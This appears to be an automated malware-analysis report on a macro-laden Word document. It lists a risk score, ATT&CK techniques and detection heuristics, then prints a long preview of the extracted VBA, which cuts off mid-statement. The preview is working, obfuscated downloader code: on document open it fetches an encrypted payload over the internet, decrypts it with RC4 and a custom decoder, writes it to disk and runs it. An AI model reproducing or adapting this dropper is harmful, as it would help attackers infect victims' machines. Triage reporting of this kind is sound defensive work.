MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The sample is an OOXML document containing VBA macros, indicated by the 'OOXML_VBA' and 'OLE_VBA_DOCOPEN' heuristics. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', a common lure for macro-based malware. The presence of a 'Document_Open' macro and the 'SE_ENABLE_LURE' heuristic further support this. The ClamAV detection 'Doc.Malware.Chronos-6897935-0' strongly suggests malicious intent, likely involving the download and execution of a second-stage payload via the VBA script.
Heuristics 7
-
ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
-
VBA project inside OOXML medium 2 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
LMAXuL1 = Environ(DKX1DXEAUcf6G(Chr(81) + Chr(110) + Chr(121) + Chr(112) + Chr(119) + Chr(238) + Chr(81), "Fj2AJdGU")) & "\" & MAH6GM2yWYO & DKX1DXEAUcf6G(Chr(173) + Chr(169) + Chr(55) + Chr(188), "NwH2tYuyXBhInJ") -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 22395 bytes |
SHA-256: 1c7b60d4b21842618f0b2eb06cc29c508eabf5eaa95207e6bb195685a2d30749 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
155 of 278 identifiers look randomly generated (e.g. 'DjcR4Myojp9FRJWBcDoE5') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Option Explicit Private Declare Function InternetOpenA Lib "wininet" (ByVal TBpYSRhk As String, ByVal PTBPgAe32vVx8N As Long, ByVal BJCm9U3FA As String, ByVal LEzqXfsqrz0y As String, ByVal MQiA1HgpYXQVWN As Long) As Long Private Declare Sub E4bULRFT7ZmN8 Lib "msvbvm60" Alias "#183" (ByVal KQQZ3rmP As Long, ByVal QolDZQJRI As Long, ByVal VHKV8CsJx3Yn As Long) Private XnHwWJh(0 To 255) As Integer Private Declare Function InternetCloseHandle Lib "wininet" (ByRef QiuYJcuegc74ZxGQK As Long) As Long Private Type HgYRnJvueG0YGxWLz LU3FA7UTf As Byte G8EAbkI6np4IwT() As Byte End Type Private Declare Function CloseHandle Lib "kernel32" (ByVal VXFa6 As Long) As Long Private SyGY3WdRsGkIvj As String Private Type HC3oYszRwHL M8wrG6tj8t As Long WrIFaxsQ As Long XDGmBHVziwfI As Long MI2IAe4fw As Long End Type Private Type RfiN92YQjla2OqxP U5mZXrdd0 As Long JcL8n16Cr8X8 As String M2PJArBVNjr As String MCz As String B1HVs1U As Long A0fcESCcGd2XHx As Long Dn0dAgQg As Long WjxUyEU5t As Long YRVfmcmfXHoq As Long GvTqp51DLX As Long IpY As Long ARIs0KOdF As Long M8ykhStl1K As Integer Drpct As Integer Yr8Tvtr0 As Long YhG9p As Long PGSxMrMBS4 As Long YntM5D8kbrlUhqE As Long End Type Private Declare Function CreateProcessA Lib "kernel32" (ByVal G5NMVl2Uzd1 As String, ByVal JcN1EN1bBYXA As String, MIqNwmpMQj As Any, RH4VmS70uvMVo6 As Any, ByVal W76tEUle3Adj6S As Long, ByVal Iw7Hh2V As Long, CS96dYAOy4l As Any, ByVal PQKaaChgtbB3bb1DD As String, R7CYum As RfiN92YQjla2OqxP, Gi7WwNu2uZeTV As HC3oYszRwHL) As Long Private Declare Function InternetReadFile Lib "wininet" (ByVal Pwd0evA7BbQxku As Long, ByVal TRYqHZtFa4 As String, ByVal No9nzWInlt As Long, GqkM As Long) As Integer Private Type YRSrxgfiJENRt MK5lwvr1deV As Integer JITJY As Integer PqmLP7l77aS As Integer K6ccB8YIMz As Integer ESDZu5db5yu As Long End Type Private Declare Function InternetOpenUrlA Lib "wininet" (ByVal UTP2b As Long, ByVal Aj0s7T86 As String, ByVal BZw4c6X2mnLv As String, ByVal BlfO6iL1coQX As Long, ByVal Ha1ti41r7DiO7 As Long, ByVal LIKwglG As Long) As Long Private Function QxD(ByVal G2Ldua9M As String, ByVal UTNe5Viahi0qE1mCN As String, ByVal QrQuP As String) As Boolean Dim QQA8Ng As Long, OeHs4Jz4L3S9 As Long QQA8Ng = 36 OeHs4Jz4L3S9 = 79 If QQA8Ng + OeHs4Jz4L3S9 > 4 Then OeHs4Jz4L3S9 = QQA8Ng + 4 Else MsgBox 31 End If Dim BsZz08JRqIE4wOC As Long, ByRdFxiQBkzm As Long, IiNEgs As Long, FwUyfmk3 As String * 8162, SdUP9W3EHTbmvBE As String, GKvbe10j4Vzg As Integer, JITHf As Double Dim SzKUB6zJeC As Long, GWuFQeJFuwUm As Long SzKUB6zJeC = 33 GWuFQeJFuwUm = 88 If SzKUB6zJeC + GWuFQeJFuwUm > 4 Then GWuFQeJFuwUm = SzKUB6zJeC + 48 Else MsgBox 44 End If BsZz08JRqIE4wOC = InternetOpenA(DKX1DXEAUcf6G(Chr(100) + Chr(159) + Chr(103) + Chr(62) + Chr(226) + Chr(197) + Chr(9) + Chr(177) + Chr(27) + Chr(137) + Chr(168) + Chr(174) + Chr(78) + Chr(208) + Chr(249) + Chr(193) + Chr(81) + Chr(62) + Chr(162) + Chr(170) + Chr(168) + Chr(241) + Chr(9) + Chr(249) + Chr(246) + Chr(129) + Chr(117) + Chr(50) + Chr(167) + Chr(77) + Chr(89) + Chr(201) + Chr(130) + Chr(65) + Chr(123) + Chr(19) + Chr(246) + Chr(166) + Chr(210) + Chr(221) + Chr(58) + Chr(237) + Chr(80) + Chr(166) + Chr(85) + Chr(231) + Chr(5) + Chr(152) + Chr(250) + Chr(84) + Chr(145) + Chr(19) + Chr(72) + Chr(196) + Chr(30) + Chr(46) + Chr(35) + Chr(37) + Chr(223) + Chr(221) + Chr(229) + Chr(116) + Chr(125) + Chr(187) + Chr(216) + Chr(143) + Chr(91), "JeOW2n"), 1, vbNullString, vbNullString, 0) Dim WL3f8Yj As Long, LF6X9gO3F48G5SZP As Long WL3f8Yj = 59 LF6X9gO3F48G5SZP = 64 If WL3f8Yj + LF6X9gO3F48G5SZP > 4 Then LF6X9gO3F48G5SZP = WL3f8Yj + 48 Else MsgBox 96 End If If BsZz08JRqIE4wOC = 0 Then Dim AJRvzz As Long, UltEFQA8 As Long AJRvzz = 32 UltEFQA8 = 44 If AJRvzz + UltEFQA8 > 4 Then UltEFQA8 = AJRvzz + 81 Else MsgBox 96 End If QxD = False Exit Function End If Dim LZUVE9sA93P As Long, V9Krcl As Long LZUVE9sA93P = 56 V9Krcl = 46 If LZUVE9sA93P + V9Krcl > 4 Then V9Krcl = LZUVE9sA93P + 3 Else MsgBox 6 End If ByRdFxiQBkzm = InternetOpenUrlA(BsZz08JRqIE4wOC, G2Ldua9M, vbNullString, 0, &H4000000, 0) Dim VD9Esusz0 As Long, WVvowhd59Zz4RVx9b As Long VD9Esusz0 = 42 WVvowhd59Zz4RVx9b = 16 If VD9Esusz0 + WVvowhd59Zz4RVx9b > 4 Then WVvowhd59Zz4RVx9b = VD9Esusz0 + 67 Else MsgBox 11 End If If ByRdFxiQBkzm = 0 Then Dim QKJTlRordIC As Long, P2jV2Y5KtEEZIup As Long QKJTlRordIC = 19 P2jV2Y5KtEEZIup = 58 If QKJTlRordIC + P2jV2Y5KtEEZIup > 4 Then P2jV2Y5KtEEZIup = QKJTlRordIC + 40 Else MsgBox 22 End If JITHf = 0 Else Dim IVqK As Long, LUINafBgT As Long IVqK = 31 LUINafBgT = 47 If IVqK + LUINafBgT > 4 Then LUINafBgT = IVqK + 71 Else MsgBox 26 End If InternetReadFile ByRdFxiQBkzm, FwUyfmk3, 8162, IiNEgs SdUP9W3EHTbmvBE = FwUyfmk3 Dim Dde4njWj As Long, HF7SWGb3GzVqH0U2 As Long Dde4njWj = 48 HF7SWGb3GzVqH0U2 = 21 If Dde4njWj + HF7SWGb3GzVqH0U2 > 4 Then HF7SWGb3GzVqH0U2 = Dde4njWj + 51 Else MsgBox 58 End If Do While IiNEgs <> 0 InternetReadFile ByRdFxiQBkzm, FwUyfmk3, 8162, IiNEgs SdUP9W3EHTbmvBE = SdUP9W3EHTbmvBE + Mid(FwUyfmk3, 1, IiNEgs) Loop JITHf = Len(SdUP9W3EHTbmvBE) Dim UvmmqRPg1ULy6l40 As Long, PxjLwwY As Long UvmmqRPg1ULy6l40 = 17 PxjLwwY = 43 If UvmmqRPg1ULy6l40 + PxjLwwY > 4 Then PxjLwwY = UvmmqRPg1ULy6l40 + 37 Else MsgBox 4 End If GKvbe10j4Vzg = FreeFile Dim SMjWj As Long, BbCi2 As Long SMjWj = 58 BbCi2 = 64 If SMjWj + BbCi2 > 4 Then BbCi2 = SMjWj + 48 Else MsgBox 95 End If Open UTNe5Viahi0qE1mCN For Binary Access Write Lock Write As #GKvbe10j4Vzg Put #GKvbe10j4Vzg, , IUPw87nykedO1WA(DKX1DXEAUcf6G(SdUP9W3EHTbmvBE, QrQuP)) Dim XFzIzT5zBBsLg3fs As Long, OkARgibNheU As Long XFzIzT5zBBsLg3fs = 17 OkARgibNheU = 16 If XFzIzT5zBBsLg3fs + OkARgibNheU > 4 Then OkARgibNheU = XFzIzT5zBBsLg3fs + 46 Else MsgBox 27 End If Close #GKvbe10j4Vzg End If InternetCloseHandle ByRdFxiQBkzm Dim DjcR4Myojp9FRJWBcDoE5 As Long, VVwiIIpdPz As Long DjcR4Myojp9FRJWBcDoE5 = 89 VVwiIIpdPz = 98 If DjcR4Myojp9FRJWBcDoE5 + VVwiIIpdPz > 4 Then VVwiIIpdPz = DjcR4Myojp9FRJWBcDoE5 + 70 Else MsgBox 56 End If InternetCloseHandle BsZz08JRqIE4wOC SdUP9W3EHTbmvBE = "" If JITHf Then QxD = True Dim GgnBJhjO As Long, Cz91CRrttADQqwLu6 As Long GgnBJhjO = 27 Cz91CRrttADQqwLu6 = 60 If GgnBJhjO + Cz91CRrttADQqwLu6 > 4 Then Cz91CRrttADQqwLu6 = GgnBJhjO + 33 Else MsgBox 41 End If End If Dim VU9FnHSCY As Long, Vh9bSqtqZr0 As Long VU9FnHSCY = 4 Vh9bSqtqZr0 = 29 If VU9FnHSCY + Vh9bSqtqZr0 > 4 Then Vh9bSqtqZr0 = VU9FnHSCY + 78 Else MsgBox 78 End If End Function Private Function PqkSxmrigqfWWVS8x(Ke88xa As String) Dim QuemAovke As Long, RBEluE7ze42 As Long QuemAovke = 41 RBEluE7ze42 = 16 If QuemAovke + RBEluE7ze42 > 4 Then RBEluE7ze42 = QuemAovke + 17 Else MsgBox 68 End If Dim HcVZNmiKlKuRU7 As HC3oYszRwHL, L8R4QR1YdyA9 As RfiN92YQjla2OqxP, HnNCblPRl6fuFFaK As String Dim MSRzD As Long, X5VFBEF77nbpi As Long MSRzD = 18 X5VFBEF77nbpi = 38 If MSRzD + X5VFBEF77nbpi > 4 Then X5VFBEF77nbpi = MSRzD + 78 Else MsgBox 4 End If L8R4QR1YdyA9.U5mZXrdd0 = Len(L8R4QR1YdyA9) Dim Xd4cOi1 As Long, TzdawQqjuemAov As Long Xd4cOi1 = 23 TzdawQqjuemAov = 22 If Xd4cOi1 + TzdawQqjuemAov > 4 Then TzdawQqjuemAov = Xd4cOi1 + 53 Else MsgBox 33 End If CreateProcessA HnNCblPRl6fuFFaK, Ke88xa, ByVal 0&, ByVal 0&, 1&, &H20&, ByVal 0&, HnNCblPRl6fuFFaK, L8R4QR1YdyA9, HcVZNmiKlKuRU7 Dim GBGv79e1FgP As Long, CTwsASEjAm As Long GBGv79e1FgP = 19 CTwsASEjAm = 80 If GBGv79e1FgP + CTwsASEjAm > 4 Then CTwsASEjAm = GBGv79e1FgP + 97 Else MsgBox 98 End If CloseHandle HcVZNmiKlKuRU7.WrIFaxsQ Dim WXCsTXl7M As Long, Psn6uWwbplXBzzf As Long WXCsTXl7M = 90 Psn6uWwbplXBzzf = 93 If WXCsTXl7M + Psn6uWwbplXBzzf > 4 Then Psn6uWwbplXBzzf = WXCsTXl7M + 12 Else MsgBox 57 End If CloseHandle HcVZNmiKlKuRU7.M8wrG6tj8t Dim FhxOpv As Long, VdoVOng6FKap2 As Long FhxOpv = 30 VdoVOng6FKap2 = 76 If FhxOpv + VdoVOng6FKap2 > 4 Then VdoVOng6FKap2 = FhxOpv + 11 Else MsgBox 60 End If End Function Sub Th0oP49hY(TnCbnRQkgM6() As Byte, Optional GekYc As String) Dim BjrI3cK7 As Long, UzvuI3EZzsQ1ez0p As Long, FGIuOi As Byte, TCOvi40bPey As Long, Om7mhTwAtWpH3pq As Long, NWUem As Long, C89pts4wj5dV2zda(0 To 255) As Integer If (Len(GekYc) > 0) Then V9Jyck = GekYc E4bULRFT7ZmN8 512, VarPtr(C89pts4wj5dV2zda(0)), VarPtr(XnHwWJh(0)) Om7mhTwAtWpH3pq = UBound(TnCbnRQkgM6) + 1 NWUem = Om7mhTwAtWpH3pq For TCOvi40bPey = 0 To (Om7mhTwAtWpH3pq - 1) BjrI3cK7 = (BjrI3cK7 + 1) Mod 256 UzvuI3EZzsQ1ez0p = (UzvuI3EZzsQ1ez0p + C89pts4wj5dV2zda(BjrI3cK7)) Mod 256 FGIuOi = C89pts4wj5dV2zda(BjrI3cK7) C89pts4wj5dV2zda(BjrI3cK7) = C89pts4wj5dV2zda(UzvuI3EZzsQ1ez0p) C89pts4wj5dV2zda(UzvuI3EZzsQ1ez0p) = FGIuOi TnCbnRQkgM6(TCOvi40bPey) = TnCbnRQkgM6(TCOvi40bPey) Xor (C89pts4wj5dV2zda((C89pts4wj5dV2zda(BjrI3cK7) + C89pts4wj5dV2zda(UzvuI3EZzsQ1ez0p)) Mod 256)) Next End Sub Private Function MAH6GM2yWYO(Optional O6isGbb8XPJx35l As String = "0123456789") As String Dim MMCNRDkK0xbnjZ As Long, Vn1G3miSkmhm As Long MMCNRDkK0xbnjZ = 59 Vn1G3miSkmhm = 86 If MMCNRDkK0xbnjZ + Vn1G3miSkmhm > 4 Then Vn1G3miSkmhm = MMCNRDkK0xbnjZ + 6 Else MsgBox 73 End If Dim No8uXAOOlr() As Byte, ArjM() As Byte, Uh66Poz2B0XETBU9 As Long, IOYItJ4LlkHb As Long, BVuDmVM8Zv3 As Long, OIjh34w0U As String Dim JKap2n As Long, PolxiinK9Ob As Long JKap2n = 60 PolxiinK9Ob = 11 If JKap2n + PolxiinK9Ob > 4 Then PolxiinK9Ob = JKap2n + 32 Else MsgBox 21 End If BVuDmVM8Zv3 = 0 Dim BHDZfq3jm9 As Long, Ubm2Qzb As Long BHDZfq3jm9 = 74 Ubm2Qzb = 69 If BHDZfq3jm9 + Ubm2Qzb > 4 Then Ubm2Qzb = BHDZfq3jm9 + 57 Else MsgBox 92 End If ReO89UULhWFjj0: Dim TfHKW7B6Bqs As Long, PbGNiW0bVtxo As Long TfHKW7B6Bqs = 56 PbGNiW0bVtxo = 47 If TfHKW7B6Bqs + PbGNiW0bVtxo > 4 Then PbGNiW0bVtxo = TfHKW7B6Bqs + 48 Else MsgBox 45 End If Randomize OIjh34w0U = Int(30 * Rnd) If OIjh34w0U < 4 Then GoTo ReO89UULhWFjj0 BVuDmVM8Zv3 = OIjh34w0U If BVuDmVM8Zv3 > 0& Then Dim C5FWa4Dpi As Long, JaIWkVm0pE As Long C5FWa4Dpi = 37 JaIWkVm0pE = 52 If C5FWa4Dpi + JaIWkVm0pE > 4 Then JaIWkVm0pE = C5FWa4Dpi + 32 Else MsgBox 93 End If Randomize No8uXAOOlr = O6isGbb8XPJx35l Dim E7r40fydAPruj As Long, JssUTc As Long E7r40fydAPruj = 38 JssUTc = 77 If E7r40fydAPruj + JssUTc > 4 Then JssUTc = E7r40fydAPruj + 58 Else MsgBox 41 End If Uh66Poz2B0XETBU9 = Len(O6isGbb8XPJx35l) - 1& BVuDmVM8Zv3 = (BVuDmVM8Zv3 * 2&) - 1& Dim OaCXRcIlP3aIWkV As Long, KETRCs908ZIfs As Long OaCXRcIlP3aIWkV = 52 KETRCs908ZIfs = 32 If OaCXRcIlP3aIWkV + KETRCs908ZIfs > 4 Then KETRCs908ZIfs = OaCXRcIlP3aIWkV + 93 Else MsgBox 11 End If ReDim ArjM(BVuDmVM8Zv3) As Byte For IOYItJ4LlkHb = 0& To BVuDmVM8Zv3 Step 2& ArjM(IOYItJ4LlkHb) = No8uXAOOlr(CLng(Uh66Poz2B0XETBU9 * Rnd) * 2&) Next Dim P2yFcgwKQFXt As Long, A16P5pVE As Long P2yFcgwKQFXt = 4 A16P5pVE = 7 If P2yFcgwKQFXt + A16P5pVE > 4 Then A16P5pVE = P2yFcgwKQFXt + 24 Else MsgBox 43 End If End If Dim ILCwu8bmx4k As Long, YjWQLKPJuDIS As Long ILCwu8bmx4k = 18 YjWQLKPJuDIS = 62 If ILCwu8bmx4k + YjWQLKPJuDIS > 4 Then YjWQLKPJuDIS = ILCwu8bmx4k + 75 Else MsgBox 89 End If MAH6GM2yWYO = ArjM Dim FJaOUHfHKW7 As Long, NDVP As Long FJaOUHfHKW7 = 88 NDVP = 51 If FJaOUHfHKW7 + NDVP > 4 Then NDVP = FJaOUHfHKW7 + 63 Else MsgBox 1 End If End Function Private Function IUPw87nykedO1WA(SvE8o0 As String) As String Dim YD2w2STKlFD() As Byte YD2w2STKlFD() = StrConv(SvE8o0, vbFromUnicode) C5EcEUD YD2w2STKlFD, Len(SvE8o0) IUPw87nykedO1WA = StrConv(YD2w2STKlFD(), vbUnicode) End Function Private Sub QXmCqE1h(G9Si3hS1() As YRSrxgfiJENRt, GYe3yKx4Wjdjg7 As Long, H6IQKSZtKa2rMsUeq As Long, R0EoSsBVGCElhv9 As HgYRnJvueG0YGxWLz) Dim I2xLMGrdHKXF As Integer, ALW9hsLeFWLvGQ6X4 As Long ALW9hsLeFWLvGQ6X4 = 0 For I2xLMGrdHKXF = 0 To (R0EoSsBVGCElhv9.LU3FA7UTf - 1) If (R0EoSsBVGCElhv9.G8EAbkI6np4IwT(I2xLMGrdHKXF) = 0) Then If (G9Si3hS1(ALW9hsLeFWLvGQ6X4).PqmLP7l77aS = -1) Then G9Si3hS1(ALW9hsLeFWLvGQ6X4).PqmLP7l77aS = GYe3yKx4Wjdjg7 G9Si3hS1(GYe3yKx4Wjdjg7).MK5lwvr1deV = ALW9hsLeFWLvGQ6X4 G9Si3hS1(GYe3yKx4Wjdjg7).PqmLP7l77aS = -1 G9Si3hS1(GYe3yKx4Wjdjg7).JITJY = -1 G9Si3hS1(GYe3yKx4Wjdjg7).K6ccB8YIMz = -1 GYe3yKx4Wjdjg7 = GYe3yKx4Wjdjg7 + 1 End If ALW9hsLeFWLvGQ6X4 = G9Si3hS1(ALW9hsLeFWLvGQ6X4).PqmLP7l77aS ElseIf (R0EoSsBVGCElhv9.G8EAbkI6np4IwT(I2xLMGrdHKXF) = 1) Then If (G9Si3hS1(ALW9hsLeFWLvGQ6X4).JITJY = -1) Then G9Si3hS1(ALW9hsLeFWLvGQ6X4).JITJY = GYe3yKx4Wjdjg7 G9Si3hS1(GYe3yKx4Wjdjg7).MK5lwvr1deV = ALW9hsLeFWLvGQ6X4 G9Si3hS1(GYe3yKx4Wjdjg7).PqmLP7l77aS = -1 G9Si3hS1(GYe3yKx4Wjdjg7).JITJY = -1 G9Si3hS1(GYe3yKx4Wjdjg7).K6ccB8YIMz = -1 GYe3yKx4Wjdjg7 = GYe3yKx4Wjdjg7 + 1 End If ALW9hsLeFWLvGQ6X4 = G9Si3hS1(ALW9hsLeFWLvGQ6X4).JITJY Else Stop End If Next G9Si3hS1(ALW9hsLeFWLvGQ6X4).K6ccB8YIMz = H6IQKSZtKa2rMsUeq End Sub Private Sub C5EcEUD(LYaHbNv() As Byte, KESWpIw07ev5f As Long) Dim FyoDf2hZr2FKNIV As Long, LGIOYItJ As Long, QLO0A4p5sEXuL1 As Byte, LAVwPB4gPVXwvKBl As Long, UhuDPwn As Integer, AzKMETd As Byte, U7UBxT17oB1kfFT7g() As Byte, BHvLwA4VxnMM As Integer Dim HibW6t78i4qO As Long, TJPXra4Wgx As Byte, PqyI6aNe As Long, OeGzcy54KA0o As Long, JKciTCPEcthaV As Long, V9d5wyd(0 To 7) As Byte, S6ArG58KxtJXt(0 To 511) As YRSrxgfiJENRt, Qtgfc9q054Bb(0 To 255) As HgYRnJvueG0YGxWLz LAVwPB4gPVXwvKBl = 1 AzKMETd = LYaHbNv(LAVwPB4gPVXwvKBl - 1) LAVwPB4gPVXwvKBl = LAVwPB4gPVXwvKBl + 1 E4bULRFT7ZmN8 4, VarPtr(PqyI6aNe), VarPtr(LYaHbNv(LAVwPB4gPVXwvKBl - 1)) LAVwPB4gPVXwvKBl = LAVwPB4gPVXwvKBl + 4 JKciTCPEcthaV = PqyI6aNe If (PqyI6aNe = 0) Then Exit Sub ReDim U7UBxT17oB1kfFT7g(0 To PqyI6aNe - 1) E4bULRFT7ZmN8 2, VarPtr(UhuDPwn), VarPtr(LYaHbNv(LAVwPB4gPVXwvKBl - 1)) LAVwPB4gPVXwvKBl = LAVwPB4gPVXwvKBl + 2 For FyoDf2hZr2FKNIV = 1 To UhuDPwn With Qtgfc9q054Bb(LYaHbNv(LAVwPB4gPVXwvKBl - 1)) LAVwPB4gPVXwvKBl = LAVwPB4gPVXwvKBl + 1 .LU3FA7UTf = LYaHbNv(LAVwPB4gPVXwvKBl - 1) LAVwPB4gPVXwvKBl = LAVwPB4gPVXwvKBl + 1 ReDim .G8EAbkI6np4IwT(0 To .LU3FA7UTf - 1) End With Next V9d5wyd(0) = 2 ^ 0 V9d5wyd(1) = 2 ^ 1 V9d5wyd(2) = 2 ^ 2 V9d5wyd(3) = 2 ^ 3 V9d5wyd(4) = 2 ^ 4 V9d5wyd(5) = 2 ^ 5 V9d5wyd(6) = 2 ^ 6 V9d5wyd(7) = 2 ^ 7 TJPXra4Wgx = LYaHbNv(LAVwPB4gPVXwvKBl - 1) LAVwPB4gPVXwvKBl = LAVwPB4gPVXwvKBl + 1 BHvLwA4VxnMM = 0 For FyoDf2hZr2FKNIV = 0 To 255 With Qtgfc9q054Bb(FyoDf2hZr2FKNIV) If (.LU3FA7UTf > 0) Then For LGIOYItJ = 0 To (.LU3FA7UTf - 1) If (TJPXra4Wgx And V9d5wyd(BHvLwA4VxnMM)) Then .G8EAbkI6np4IwT(LGIOYItJ) = 1 BHvLwA4VxnMM = BHvLwA4VxnMM + 1 If (BHvLwA4VxnMM = 8) Then TJPXra4Wgx = LYaHbNv(LAVwPB4gPVXwvKBl - 1) LAVwPB4gPVXwvKBl = LAVwPB4gPVXwvKBl + 1 BHvLwA4VxnMM = 0 End If Next End If End With Next If (BHvLwA4VxnMM = 0) Then LAVwPB4gPVXwvKBl = LAVwPB4gPVXwvKBl - 1 OeGzcy54KA0o = 1 S6ArG58KxtJXt(0).PqmLP7l77aS = -1 S6ArG58KxtJXt(0).JITJY = -1 S6ArG58KxtJXt(0).MK5lwvr1deV = -1 S6ArG58KxtJXt(0).K6ccB8YIMz = -1 For FyoDf2hZr2FKNIV = 0 To 255 QXmCqE1h S6ArG58KxtJXt(), OeGzcy54KA0o, FyoDf2hZr2FKNIV, Qtgfc9q054Bb(FyoDf2hZr2FKNIV) Next PqyI6aNe = 0 For LAVwPB4gPVXwvKBl = LAVwPB4gPVXwvKBl To KESWpIw07ev5f TJPXra4Wgx = LYaHbNv(LAVwPB4gPVXwvKBl - 1) For BHvLwA4VxnMM = 0 To 7 If (TJPXra4Wgx And V9d5wyd(BHvLwA4VxnMM)) Then HibW6t78i4qO = S6ArG58KxtJXt(HibW6t78i4qO).JITJY Else HibW6t78i4qO = S6ArG58KxtJXt(HibW6t78i4qO).PqmLP7l77aS If (S6ArG58KxtJXt(HibW6t78i4qO).K6ccB8YIMz > -1) Then U7UBxT17oB1kfFT7g(PqyI6aNe) = S6ArG58KxtJXt(HibW6t78i4qO).K6ccB8YIMz PqyI6aNe = PqyI6aNe + 1 If (PqyI6aNe = JKciTCPEcthaV) Then GoTo JKciTCPEcthaV HibW6t78i4qO = 0 End If Next Next JKciTCPEcthaV: QLO0A4p5sEXuL1 = 0 For FyoDf2hZr2FKNIV = 0 To (PqyI6aNe - 1) QLO0A4p5sEXuL1 = QLO0A4p5sEXuL1 Xor U7UBxT17oB1kfFT7g(FyoDf2hZr2FKNIV) Next ReDim LYaHbNv(0 To PqyI6aNe - 1) E4bULRFT7ZmN8 PqyI6aNe, VarPtr(LYaHbNv(0)), VarPtr(U7UBxT17oB1kfFT7g(0)) End Sub Private Sub Document_Open() On Error Resume Next Dim L2MpyBMcjAABH As Long, QkgswjcYeaUoRwns As Long L2MpyBMcjAABH = 29 QkgswjcYeaUoRwns = 1 If L2MpyBMcjAABH + QkgswjcYeaUoRwns > 4 Then QkgswjcYeaUoRwns = L2MpyBMcjAABH + 14 Else MsgBox 27 End If Dim LMAXuL1 As String Dim OKigrmX5j5K2 As Long, RLgVeU2 As Long OKigrmX5j5K2 = 27 RLgVeU2 = 7 If OKigrmX5j5K2 + RLgVeU2 > 4 Then RLgVeU2 = OKigrmX5j5K2 + 67 Else MsgBox 85 End If Dim U8i17I3p3b3os As Long, RddrQAqJu As Long, Bdl0G9 As Long, YXc3ca8m4qK As Integer Dim OGNJ44 As Long, CrHE7w0QSCtWCP As Long OGNJ44 = 57 CrHE7w0QSCtWCP = 17 If OGNJ44 + CrHE7w0QSCtWCP > 4 Then CrHE7w0QSCtWCP = OGNJ44 + 63 Else MsgBox 97 End If U8i17I3p3b3os = 978972537: RddrQAqJu = 0: Bdl0G9 = 0 Dim XbevL As Long, Drci3KW89DXC As Long XbevL = 75 Drci3KW89DXC = 15 If XbevL + Drci3KW89DXC > 4 Then Drci3KW89DXC = XbevL + 70 Else MsgBox 78 End If For RddrQAqJu = 1 To U8i17I3p3b3os Bdl0G9 = Bdl0G9 + 1 Next RddrQAqJu Dim YFprPEr1cy8x As Long, PMZMJ4xE As Long YFprPEr1cy8x = 14 PMZMJ4xE = 73 If YFprPEr1cy8x + PMZMJ4xE > 4 Then PMZMJ4xE = YFprPEr1cy8x + 69 Else MsgBox 34 End If If Bdl0G9 = U8i17I3p3b3os Then Dim ELaWKzFV As Long, OtVZ8sCq As Long ELaWKzFV = 67 OtVZ8sCq = 41 If ELaWKzFV + OtVZ8sCq > 4 Then OtVZ8sCq = ELaWKzFV + 92 Else MsgBox 36 End If LMAXuL1 = Environ(DKX1DXEAUcf6G(Chr(81) + Chr(110) + Chr(121) + Chr(112) + Chr(119) + Chr(238) + Chr(81), "Fj2AJdGU")) & "\" & MAH6GM2yWYO & DKX1DXEAUcf6G(Chr(173) + Chr(169) + Chr(55) + Chr(188), "NwH2tYuyXBhInJ") Dim OKkZJ7R5kymO As Long, Rb7ZPkT As Long OKkZJ7R5kymO = 53 Rb7ZPkT = 33 If OKkZJ7R5kymO + Rb7ZPkT > 4 Then Rb7ZPkT = OKkZJ7R5kymO + 93 Else MsgBox 84 End If If QxD(DKX1DXEAUcf6G(Chr(140) + Chr(152) + Chr(68) + Chr(38) + Chr(83) + Chr(148) + Chr(128) + Chr(86) + Chr(36) + Chr(179) + Chr(202) + Chr(56) + Chr(250) + Chr(234) + Chr(109) + Chr(15) + Chr(200) + Chr(78) + Chr(68) + Chr(248) + Chr(242) + Chr(93) + Chr(250) + Chr(236) + Chr(146) + Chr(28) + Chr(250) + Chr(229) + Chr(98) + Chr(140) + Chr(84) + Chr(125) + Chr(199) + Chr(144) + Chr(70) + Chr(208) + Chr(35) + Chr(102) + Chr(78) + Chr(25) + Chr(46) + Chr(162) + Chr(238) + Chr(61) + Chr(221), 